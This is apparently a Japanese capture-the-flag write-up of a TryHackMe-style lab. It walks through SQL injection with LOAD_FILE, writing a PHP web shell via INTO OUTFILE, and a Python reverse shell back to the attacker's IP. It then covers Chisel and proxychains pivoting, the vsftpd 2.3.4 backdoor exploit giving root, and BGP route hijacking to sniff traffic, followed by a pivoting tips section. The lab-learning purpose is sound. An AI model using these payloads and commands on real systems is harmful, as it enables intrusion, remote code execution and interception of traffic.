$_GET['documentid']); if ($docDetails !== null) { //print_r($docDetails); echo ("Document ID: ".$docDetails['documentid']."<br />"); echo ("Document Name: ".$docDetails['documentname']."<br />"); echo ("Document Location: ".$docDetails['location']."<br />"); } ?>% アルファベットのみに鍵を適用し、数値(5 など)を維持した正しい30文字キーを計算するスクリプトを実行します。 $ python3 -c ' enc = "CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo" plain20 = "ANDVOWLDLAS5Q8OQZ2tu" # CONTEXT などのアルファベット文字列鍵の周期シフト key_shifts = [2, 14, 13, 19, 4, 23, 19] # 先頭からのシフト量 res = [] key_idx = 0 for i, c in enumerate(enc): if c.isalpha(): b = ord("A") if c.isupper() else ord("a") shift = key_shifts[key_idx % len(key_shifts)] res.append(chr((ord(c) - b - shift) % 26 + b)) key_idx += 1 else: res.append(c) print("Decrypted Key:", "".join(res)) ' Decrypted Key: [AND_API_KEY] すると、フラグを取得することができます。 >What is the API key that fits the following pattern: "AND*" >Answer: [AND_API_KEY] Exploitation SQL Injection Attack 少し話を戻します。 APIキーが3つすべて揃いましたので、4つ目の設問 {FLAG:Webapp:XXX}のフラグを取りましょう。 api.php および functions.php の最新のソースコードを確認して、Webアプリケーションに存在する脆弱性を特定します。 $ cat functions.php <?php function setup_db_connection() { $db_servername = "localhost"; $db_username = "root"; $db_password = "CCv4@he2MaHbIP7mB89TNKdei0VZ0Y"; $db_name = "myfirstwebsite"; // Create connection $conn = new mysqli($db_servername, $db_username, $db_password, $db_name); // Check connection if ($conn->connect_error) { die("failed to connect to the database. Something has gone horribly wrong...: " . $conn->connect_error); }else{ return $conn; } } function ShowDocuments ($conn) { echo ("<p>Below you will find a list of documents that are available to download</p>"); echo ("<ul>"); $stmt = $conn -> prepare('SELECT documentname, location FROM documents'); $stmt -> execute(); $stmt -> store_result(); $stmt -> bind_result($document_name, $location); while ($stmt -> fetch()) { echo ('<li><a href="'.$location.'">'.$document_name.'</a></li>'); } echo ("</ul>"); } function ShowLoggedOutView ($conn) { echo ("<p>Welcome to our site. Please bear with us whilst we get everything up and running.</p>"); /* $options = [ 'salt' => 'wWeyIzGcD7TVwZ7y7d3UCRIMYK' ]; echo password_hash("hello", PASSWORD_BCRYPT, $options); */ ShowDocuments($conn); echo ("<p>login below to edit documents</p>"); echo ('<form method="POST">'); echo ('username: <input type="text" name="username" id="username"><br />'); echo ('password: <input type="password" name="password" id="password"><br />'); echo ('<input type="submit">'); } function CheckLogon ($conn) { $options = [ 'salt' => 'wWeyIzGcD7TVwZ7y7d3UCRIMYK' ]; //do logon check $username = $_POST['username']; $password = password_hash($_POST['password'], PASSWORD_BCRYPT, $options); $stmt = $conn->prepare("SELECT userid FROM users WHERE username=? AND password=?"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); $stmt -> store_result(); if ($stmt->num_rows == 1) { //echo ("logged on successfully"); $_SESSION['loggedin'] = true; header("Location: home.php"); die(); }else{ echo ("bad username or password"); } } function UpdateDocumentName($conn, $documentid, $documentName) { $sql = "update documents SET documentname='".$documentName."' WHERE documentid=".$documentid; //echo $sql; if (mysqli_query($conn, $sql)) { echo ('Document renamed. Click <a href="home.php">here</a> to go back'); }else{ echo ('Sorry. There was a problem renaming the document. Click <a href="home.php">here</a> to go back'); } } function GetDocumentDetails($conn, $documentid) { $sql = "select documentid, documentname, location from documents where documentid=".$documentid; //echo $sql; $result = mysqli_query($conn, $sql) or die(mysqli_error($conn)); if (mysqli_num_rows($result) === 1) { return mysqli_fetch_assoc($result); } else { return null; } } ?>% functions.php 内の関数に明確な SQLインジェクション(SQLi) の脆弱性が存在することがわかります。 function GetDocumentDetails($conn, $documentid){ $sql = "select documentid, documentname, location from documents where documentid=".$documentid; $result = mysqli_query($conn, $sql) or die(mysqli_error($conn)); ... } function UpdateDocumentName($conn, $documentid, $documentName){ $sql = "update documents SET documentname='".$documentName."' WHERE documentid=".$documentid; if (mysqli_query($conn, $sql)) { ... } } 主に二つが原因です。 - $documentid パラメータがエスケープ・プリペアドステートメントなしで直接SQL文に結合されている - mysqli_error($conn) が出力されるため、Error Based / UNION Based SQL Injectionが可能になっている SQLインジェクションとさっき取得したWebのAPIキー([WEB_API_KEY])を利用してMySQLの LOAD_FILE() 関数で /var/www 直下のフラグファイルを直接読み込むか、データベースのテーブルを列挙してみます。 $ curl "http://[target_ip]/api.php?apikey=[WEB_API_KEY]&documentid=-1%20UNION%20SELECT%201,LOAD_FILE('/var/www/flag.txt'),3" Document ID: 1<br />Document Name: {FLAG:Webapp:[WEBAPP_FLAG]} <br />Document Location: 3<br />% すると、ここでWebAppのフラグを取得することができます。 >What is the flag in the /var/www directory of the web app host? {FLAG:Webapp:XXX} >Answer: {FLAG:Webapp:[WEBAPP_FLAG]} Reverse Shell Attack (Remote Code Execution) それでは次に内部ネットワークへ侵入するためにSQLインジェクション経由でWebシェルを設置して、そこからPythonやNetcatでリバースシェルを受け取ります。 まず、Webシェルの書き込みを行うために、ブラウザのURLバーやターミナルの curl で以下を実行し、/var/www/html/shell.php を設置します。 $ curl -g "http://[target_ip]/api.php?apikey=WEBLhvOJAH8d50Z4y5G5g4McG1GMGD&documentid=-1%20UNION%20SELECT%201,'<?php%20system(\$_GET[\"cmd\"]);%20?>',3%20INTO%20OUTFILE%20'/var/www/html/shell.php'" 実際にリバースシェルを行います。 - ターゲット側 $ curl "http://[target_ip]/shell.php?cmd=python3%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"[MY_IP]\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;pty.spawn(\"/bin/bash\")'" - 攻撃者側 $ nc -l [MY_IP] 4444 www-data@app:~/html$ リバースシェルに成功します。 Network Pivoting Chisel SOCKS Tunnel 実際に内部ネットワークにおいて、どのルーティングがあるのかを見ると、172.16.1.10という別のIPがありそうです。 www-data@app:~$ ip route ip route default via 172.18.0.1 dev eth0 172.16.1.0/24 dev eth1 proto kernel scope link src 172.16.1.10 172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.2 そして、実際に内部ポートスキャンをPythonスクリプトで実行すると、ポート80が空いていそうです。 www-data@app:~$ python3 -c 'import socket; [print(f"[+] Open: {ip}:{p}") for i in range(1, 255) for ip in [f"172.16.1.{i}"] for p in [22, 179, 80] if socket.socket().connect_ex((ip, p)) == 0]' <, 80] if socket.socket().connect_ex((ip, p)) == 0]' [+] Open: 172.16.1.10:80 ただ、これ以上探索するにはPythonスクリプトでは限界があるため、chiselというHTTP(WebSocket)をベースにSSHで暗号化を行う、Go言語製の高速なTCP/UDPトンネリングツールを使う必要がありそうです。 まず、ターゲット側に対応するChiselのパッケージをダウンロードします。そして、ZIPを解凍し、名前を変更後、Pythonのローカルサーバーを立てます。 $ curl -L -o chisel.gz https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_linux_amd64.gz % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 4614k 100 4614k 0 0 6297k 0 --:--:-- --:--:-- --:--:-- 6297k $ gunzip chisel.gz $ mv chisel_1.12.0_linux_amd64 chisel $ python3 -m http.server 8002 Serving HTTP on :: port 8002 (http://[::]:8002/) ... ::ffff:[MY_IP] - - [13/Sep/2026 21:34:25] "GET /chisel HTTP/1.1" 200 - そして、攻撃者側のローカルサーバーから、先ほどのchiselを転送し、実行権限を付与します。 www-data@app:/tmp$ python3 -c 'import urllib.request; urllib.request.urlretrieve("http://[MY_IP]:8002/chisel", "chisel")' www-data@app:/tmp$ ls ls chisel tmp.LafmN1qNjH www-data@app:/tmp$ chmod +x chisel chmod +x chisel そして、攻撃者側にも対応するChiselのパッケージをダウンロードします。そして、ZIPを解凍し、名前を変更後、実行権限を付与します。 実際にピボッティングしてみると接続可能です。 - 攻撃者側 $ ./chisel server -p 1234 --reverse --socks5 2026/09/13 21:35:16 server: Reverse tunnelling enabled 2026/09/13 21:35:16 server: Fingerprint ON/R0OVknw/suOW4i6+MwgkSBFQNdqr98YZQXOwPQ7U= 2026/09/13 21:35:16 server: Listening on http://0.0.0.0:1234 - ターゲット側 www-data@app:/tmp$ ./chisel client [MY_IP]:1234 R:socks & ./chisel client 192.168.139.93:1234 R:socks & すると、実際に成功します。これにより、127.0.0.1:1080から内部ネットワークにおける別のホストのスキャンを行うことが可能です。 $ ./chisel server -p 1234 --reverse --socks5 2026/09/15 19:11:39 server: Reverse tunnelling enabled 2026/09/15 19:11:39 server: Fingerprint m+VbREdE36MXXuFVYEGG4iM8iWjiDB8LFvIR1iQNcho= 2026/09/15 19:11:39 server: Listening on http://0.0.0.0:1234 2026/09/15 19:16:27 server: session#1: Open (user=- addr=[MY_IP]:46778 remotes=R:127.0.0.1:1080:socks) 2026/09/15 19:16:27 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening ProxyChain4 ProxyChain4をMacならHomebrew、Kali Linuxならsudo apt installでダウンロードします。 そして、攻撃者側で/etc/proxychains.confを編集し、末尾に Chisel の SOCKS5 ポートを追加します。 $ nano /opt/homebrew/etc/proxychains.conf # (または /etc/proxychains4.conf) 一番下の行([ProxyList] の下)を以下のように書き換えて保存します [ProxyList] socks5 127.0.0.1 1080 ProxyChains を通してターゲット内部ホスト(または router1)のポートスキャンを行います。 $ proxychains4 nmap -sT -Pn -p 80 172.16.1.10 [proxychains] config file found: /opt/homebrew/etc/proxychains.conf [proxychains] preloading /opt/homebrew/Cellar/proxychains-ng/4.17/lib/libproxychains4.dylib [proxychains] DLL init: proxychains-ng 4.17 Starting Nmap 7.991 ( https://nmap.org ) at 2026-09-15 19:38 +0900 [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK Nmap scan report for 172.16.1.10 Host is up (0.00s latency). PORT STATE SERVICE 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds すると、ポートスキャンに成功しました。 Internal Scanning Nmapを用いて、バージョン情報を取得します。 $ proxychains4 nmap -sV -sT -Pn -p 80 172.16.1.10 [proxychains] config file found: /opt/homebrew/etc/proxychains.conf [proxychains] preloading /opt/homebrew/Cellar/proxychains-ng/4.17/lib/libproxychains4.dylib [proxychains] DLL init: proxychains-ng 4.17 Starting Nmap 7.991 ( https://nmap.org ) at 2026-09-15 19:46 +0900 [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK Nmap scan report for 172.16.1.10 Host is up (0.00s latency). PORT STATE SERVICE VERSION 80/tcp open http nginx 1.14.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 30.00 seconds これではなさそうです。 どうやら、他にもIPアドレスが存在していたようです。 $ proxychains4 nmap -sT -Pn -p 21 172.16.1.128 [proxychains] config file found: /opt/homebrew/etc/proxychains.conf [proxychains] preloading /opt/homebrew/Cellar/proxychains-ng/4.17/lib/libproxychains4.dylib [proxychains] DLL init: proxychains-ng 4.17 Starting Nmap 7.991 ( https://nmap.org ) at 2026-09-16 00:11 +0900 [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.128:21 ... OK Nmap scan report for 172.16.1.128 Host is up (0.00s latency). PORT STATE SERVICE 21/tcp open ftp Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds Privilege Escalation 先ほどのFTPサーバーでは、vsftpd 2.3.4が使用されています。 $ proxychains4 nmap -sV -sT -Pn -p 21, 80 172.16.1.128 [proxychains] config file found: /opt/homebrew/etc/proxychains.conf [proxychains] preloading /opt/homebrew/Cellar/proxychains-ng/4.17/lib/libproxychains4.dylib [proxychains] DLL init: proxychains-ng 4.17 Starting Nmap 7.991 ( https://nmap.org ) at 2026-09-16 00:12 +0900 80 looks like an IPv6 target specification -- you have to use the -6 option. [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.128:21 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.128:21 ... OK Nmap scan report for 172.16.1.128 Host is up (0.00s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds 上記のバージョンでは、CVE-2011–2523という脆弱性が存在します。これを悪用することでバックドアを仕込み、任意コード実行が可能になっています。 exploit-db.com 実際にそのエクスプロイトコードを実行することで、リバースシェルすることが可能になっており、Route 1 に侵入することができます。 $ proxychains4 python exploit.py 172.16.1.128 [proxychains] config file found: /opt/homebrew/etc/proxychains.conf [proxychains] preloading /opt/homebrew/Cellar/proxychains-ng/4.17/lib/libproxychains4.dylib [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 /Users/rikuxx/mac-pentest-tools/borderlands/exploit.py:11: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 from telnetlib import Telnet [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.128:21 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.128:6200 ... OK Success, shell opened Send `exit` to quit shell ls bin dev etc home lib media mnt opt proc root run sbin srv supervisord.log supervisord.pid sys tmp usr var シェルのアップグレードは不可のため、こで進めるしかなさそうです。 python3 -c "import pty;pty.spawn('/bin/bash')" Traceback (most recent call last): File "<string>", line 1, in <module> File "/usr/lib/python3.7/pty.py", line 156, in spawn os.execlp(argv[0], *argv) File "/usr/lib/python3.7/os.py", line 554, in execlp execvp(file, args) File "/usr/lib/python3.7/os.py", line 571, in execvp _execvpe(file, args) File "/usr/lib/python3.7/os.py", line 594, in _execvpe exec_func(file, *argrest) FileNotFoundError: [Errno 2] No such file or directory また、このシェルはroot権限になっているようです。 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) 実際に、/rootディレクトリに存在するflag.txtから{FLAG:Router1:XXX}を取得することが可能です。 cd root ls flag.txt vsftpd cat flag.txt {FLAG:Router1:[FLAG_ROUTE1]} pwd /root >What is the flag in the /root/ directory of router1? {FLAG:Router1:XXX} >Answer: {FLAG:Router1:[FLAG_ROUTE1]} BGP Hijacking Attack 振り返ると以下が今回のシナリオのアーキテクチャ図でした。 !スクリーンショット 2026-10-06 19.32.04.png しかし、Route 2とRoute 3はどうやって繋げられるのでしょうか? なんとこのシェルではvtyshというFRRouting (FRR)の各ルーティングデーモン(zebra、bgpd、ospfdなど)を統合して操作するための、Ciscoライクなコマンドラインシェルが操作できるようになっています。 vtysh Hello, this is Quagga (version 1.2.4). Copyright 1996-2005 Kunihiro Ishiguro, et al. router1.ctx.ctf# このことから、BGPハイジャッキング攻撃が可能ではないかと考えます。 実際のネットワーク図は現状、以下の通りになっています。 +--------------------------------------------------+ | Internet / TryHackMe VPN | +--------------------------------------------------+ | +------------------+ | 172.18.0.2 | | Web App (APP) | | 172.16.1.10 | +------------------+ | 172.16.1.0/24 +------------------+ | 172.16.1.128 | | ROUTER 1 | AS 60001 ← 今ここに移動している | 172.16.12.101 | | 172.16.31.101 | +------------------+ / \ 172.16.12.0/24 172.16.31.0/24 / \ +------------------+ +------------------+ | 172.16.12.102 | | 172.16.31.103 | | ROUTER 2 | AS 60002 | ROUTER 3 | AS 60003 +------------------+ +------------------+ | | 172.16.2.0/24 172.16.3.0/24 | | +------------------+ +------------------+ | 172.16.2.10 | | 172.16.3.10 | | flag_client | | flag_server | | (sends UDP:4444) | | (listens TCP:5555)| +------------------+ +------------------+ フラグクライアント(172.16.2.10)は、UDPフラグを含むUDPパケットを定期的に送信するはずです。フラグサーバーは例えば、TCPポート5555で待機し、信頼できるホスト(172.16.2.xのようなアドレス空間)から接続してくるクライアントにTCPフラグを送信するでしょう。 上記のような AS があった場合、AS 60001 から AS 60002 と AS 60003 間の通信を傍聴することで、TCPやUDPの通信の流れをハイジャック(盗聴)できる可能性があります。 先ほどのvtyshを使用し、BGP Shellを起動します。そして、以下のようにルーティング設定を行います。 router1.ctx.ctf# config terminal config terminal router1.ctx.ctf(config)# router bgp 60001 router bgp 60001 router1.ctx.ctf(config-router)# network 172.16.2.0/25 network 172.16.2.0/25 router1.ctx.ctf(config-router)# network 172.16.3.0/25 network 172.16.3.0/25 router1.ctx.ctf(config-router)# end end router1.ctx.ctf# clear ip bgp * clear ip bgp * router1.ctx.ctf# show bgp n show bgp n BGP neighbor is 172.16.12.102, remote AS 60002, local AS 60001, external link BGP version 4, remote router ID 1.1.1.2 BGP state = Established, up for 00:00:41 Last read 00:00:40, hold time is 180, keepalive interval is 60 seconds Neighbor capabilities: 4 Byte AS: advertised and received Route refresh: advertised and received(old & new) Address family IPv4 Unicast: advertised and received Graceful Restart Capabilty: advertised and received Remote Restart timer is 120 seconds Address families by peer: none Graceful restart informations: End-of-RIB send: IPv4 Unicast End-of-RIB received: IPv4 Unicast Message statistics: Inq depth is 0 Outq depth is 0 Sent Rcvd Opens: 3 1 Notifications: 1 0 Updates: 8 6 Keepalives: 37 35 Route Refresh: 0 0 Capability: 0 0 Total: 49 42 Minimum time between advertisement runs is 3 seconds Default weight 100 For address family: IPv4 Unicast Inbound soft reconfiguration allowed Community attribute sent to this neighbor(all) Inbound path policy configured Incoming update prefix filter list is *LocalNet 2 accepted prefixes Connections established 2; dropped 1 Last reset 00:00:43, due to User reset External BGP neighbor may be up to 1 hops away. Local host: 172.16.12.101, Local port: 44466 Foreign host: 172.16.12.102, Foreign port: 179 Nexthop: 172.16.12.101 Nexthop global: :: Nexthop local: :: BGP connection: non shared network Read thread: on Write thread: off BGP neighbor is 172.16.31.103, remote AS 60003, local AS 60001, external link BGP version 4, remote router ID 1.1.1.3 BGP state = Established, up for 00:00:41 Last read 00:00:40, hold time is 180, keepalive interval is 60 seconds Neighbor capabilities: 4 Byte AS: advertised and received Route refresh: advertised and received(old & new) Address family IPv4 Unicast: advertised and received Graceful Restart Capabilty: advertised and received Remote Restart timer is 120 seconds Address families by peer: none Graceful restart informations: End-of-RIB send: IPv4 Unicast End-of-RIB received: IPv4 Unicast Message statistics: Inq depth is 0 Outq depth is 0 Sent Rcvd Opens: 3 1 Notifications: 1 0 Updates: 8 6 Keepalives: 37 35 Route Refresh: 0 0 Capability: 0 0 Total: 49 42 Minimum time between advertisement runs is 3 seconds Default weight 100 For address family: IPv4 Unicast Inbound soft reconfiguration allowed Community attribute sent to this neighbor(all) Inbound path policy configured Incoming update prefix filter list is *LocalNet 2 accepted prefixes Connections established 2; dropped 1 Last reset 00:00:43, due to User reset External BGP neighbor may be up to 1 hops away. Local host: 172.16.31.101, Local port: 48866 Foreign host: 172.16.31.103, Foreign port: 179 Nexthop: 172.16.31.101 Nexthop global: :: Nexthop local: :: BGP connection: non shared network Read thread: on Write thread: off 設定後、exitコマンドで離れて、tcpdumpでTCP、UDPパケット通信を傍受します。 router1.ctx.ctf# exit exit tcpdump -i eth0 -A tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 15:38:22.199073 IP 172.16.3.10.60117 > 172.16.2.10.4444: UDP, length 44 E..HZJ@.>..&... ... ...\.4]z{FLAG:UDP:[FLAG_UDP]} 15:38:22.199315 IP 172.16.2.10 > 172.16.3.10: ICMP 172.16.2.10 udp port 4444 unreachable, length 80 E..d....?...... ... すると先に、UDPのフラグを取得することができます。 >What flag is transmitted from flag_server to flag_client over UDP? {FLAG:UDP:XXX} >Answer: {FLAG:UDP:[FLAG_UDP]} また、しばらく、時間をおくと、TCPのフラグも取得することが可能です。 15:39:31.256961 IP 172.16.3.10.5555 > 172.16.2.10.46163: Flags [FP.], seq 2:45, ack 1, win 227, options [nop,nop,TS val 478620 ecr 478620], length 43 E.._<.@.>..l... ... ...S..qlq++.....]...... ..M...M.FLAG:TCP:[FLAG_TCP]} 15:39:31.257258 IP 172.16.2.10.46163 > 172.16.3.10.5555: Flags [.], ack 2, win 229, options [nop,nop,TS val 478620 ecr 478620], length 0 E..4f.@.?.x.... ... >What flag is transmitted from flag_server to flag_client over TCP? {FLAG:TCP:XXX} >Answer: {FLAG:TCP:[FLAG_TCP]} 終わり 今回は、APKファイルの解析方法やSQLインジェクションを利用した悪用、高度な暗号解読、ピボットティング技術を加えた横展開、FTPのバックドア脆弱性による権限昇格、内部ネットワーク内でのBGPハイジャッキング技術など幅広く高度な技術を利用したBoot2Root問題を解きました。 当時、高校生の頃は苦戦しましたが、ChatGPT Sol 5.6のおかげで相当、解くのが簡単になりました。 Pivotingの復習やBGPハイジャッキング技術について深く学ぶことができてよかったです。 Tips ここでは、高度なピボット技術とBGPハイジャッキング攻撃について軽くまとめておこうと思います。 Pivot (ピボット) 技術について Pivot (ピボット) とは? 内部ネットワークにおいて、横展開を試みる場合、ピボッティングという侵害したマシンをルータとして利用し、別のネットワークにアクセスするハッキング技術です。 攻撃者のマシンからではアクセスできないネットワークに対し、侵害マシンを足がかりにアクセスすることを可能にします。 sompocybersecurity.com この技術は、内部ネットワークにおいて、横展開するクレデンシャル情報がないが、内部スキャンなどを行いたい場合に非常に有効です。 ここでは主に使用されるPivotingツールを軽く紹介します。 1 ポートフォワーディング ローカル接続とリモート接続を利用したSSHトンネリングという技術を使い、ターゲット先のSSH同士でPivotingすることが可能になっています。 攻撃者がターゲット先のサーバーに侵入できたとして、攻撃者側からローカル接続として待ち、ターゲット側からリモート接続で攻撃者側に接続を求めるような形で繋ぎ合わせます。 - 攻撃者 ssh -L 8080:10.0.0.5:80 user@pivot_host - ターゲット側 ssh -R 8080:localhost:80 user@pivot_host メリットとして、他のRed Team用のツールやMetasploit(のちに説明する)を用意せずとも接続が可能なため、非常に手間がなく、楽です。 デメリットとして、明らかなSSH接続をしているため、OPSEC的にターゲット側で監視がしっかりしていた場合は攻撃者が接続してしまっていることがバレてしまうことが挙げられます。 sompocybersecurity.com ただ、HackTheBoxやTryHackMeでは特に気にしなくてもいいと思います。 (Red Team演習的には気をつけなければならない) 2 動的なポートフォワーディング (SOCKSプロキシ) 動的なポートフォワーディングとは、手元のパソコン(クライアント)にSOCKSプロキシサーバーを立て、SSH接続を経由して任意の宛先へ安全に通信を転送する技術のことです。 qiita.com つまり、SSH接続におけるVPN接続と若干似ているかもしれません。 - 攻撃者 ssh -D 9050 user@pivot_host そして、ProxyChainsを用いて、安全に内部スキャンを行ったりします。 proxychains nmap -sT 10.0.0.0/24 メリット・デメリットは特に何も感じませんが、強いて言えば、OPSECの観点で監視上、ターゲット側に対してバレたくないパケットを隠すのに向いているかもしれません。 3 VPN-Style Pivoting (VPNスタイルのピボット) VPN-Style Pivoting (VPNスタイルのピボット) とは、侵入に成功した内部ネットワークの端末(足がかり)を仮想的なVPNサーバー(リレー)として扱い、攻撃者の端末とターゲットネットワークの間に暗号化されたレイヤー2(またはレイヤー3)のトンネルを構築して、ターゲット内部へ完全にアクセスする手法のことです。実際には Pivot上に VPN クライアント/サーバーのペアを配置し、そのネットワークを自分のネットワークとブリッジします。 sshuttleというツールやOpenVPN等を使用することで利用可能です。 以下、実例コマンドです。 sshuttle -r user @ pivot_host 10.0.0.0/24 sshuttle/sshuttle openvpn.net メリットとして、VPN接続でPivotingすることが可能です。そのため、中を隠すことができます。 これは、Red Team演習ではよく行われる手法だそうです。 4 Metasploit Pivoting 皆さんご存知のMetasploitでもPivotingをすることができます。 docs.metasploit.com 以下は実際の使用例です。 侵害されたホストを経由するルートを追加します。 meterpreter > run autoroute -s 10.0.0.0/24 そして、Metasploit内でSOCKSプロキシを使用します。 use auxiliary/server/socks_proxy run メリットとしては、Metasploit内でエクスプロイトして、セッションを維持したいが、他のネットワークへPivotingしたいときに便利です。 これだとエクスプロイトフレームワークを最大限に使えそうですね 5 Chisel / Socat Tunnels これについては、ファイアウォールなどの制限を回避して内部ネットワークに侵入するために使われるネットワーク転送・トンネリング手法ですが、特徴として、今までと違い、WebSocketを使用したTCPトンネリングツールになっています。 以下のような使用例です。 Chiselの場合 - 攻撃者側 chisel server -p 8000 --reverse - ターゲット側 chisel client attacker_ip:8000 R:8080:10.0.0.5:80 また、socatでも同様に再現可能です。 socat TCP-LISTEN:8080,fork TCP:10.0.0.5:80 これのメリットとして、TCPで通信できるため、SSH接続などのプロトコル障害とかを関係なく、できるのが良いところです。 他にもダブルピボットやPuTTYというPivotingツールもありますが、詳細は以下を参照してください。 medium.com lac.co.jp BGPハイジャッキング技術について ここでは、BGPハイジャッキング技術について軽く紹介したいと思います。 BGPハイジャッキングとは? BGPハイジャックとは、インターネットの道案内役であるBGP(Border Gateway Protocol)の仕組みを悪用し、通信データを本来とは違う偽の経路へ誘導して乗っ取るサイバー攻撃のことです。 結構、パッとしにくいですが、本来とは異なる通信経路へ誘導する攻撃であり、BGPはAS間でより優先度の高い経路を信頼して採用するという設計思想を持ち、これを利用し不正なASが偽の経路情報を広告することで通信を横取り・遮断・改ざんするようです。 qiita.com 想定される攻撃シナリオとは? これはあくまで個人的な想定される攻撃シナリオです。 一度広く紹介します。 - トラフィックの盗聴・傍受(MiTM攻撃) - サービス停止・トラフィックの破棄によるDoS攻撃 - なりすまし・フィッシングとTLS証明書の不当取得 などが挙げれます。 ただ、一つ特徴的なことがあります。 それは、実際にBGP Shellを操作できるかどうか が重要である気がします。 もちろん、未認証でいける可能性も否定はしませんが、それはもはやBGP側の責務になり、いわゆるゼロデイ脆弱性になるのではないかと考えます。 つまり、前提として、BGPハイジャッキングできる攻撃者はBGPを操作できる権限を何かしらの方法を持っている と考えています。 ここまで読んでいただき、ありがとうございました。 少しでもご参考になると幸いです。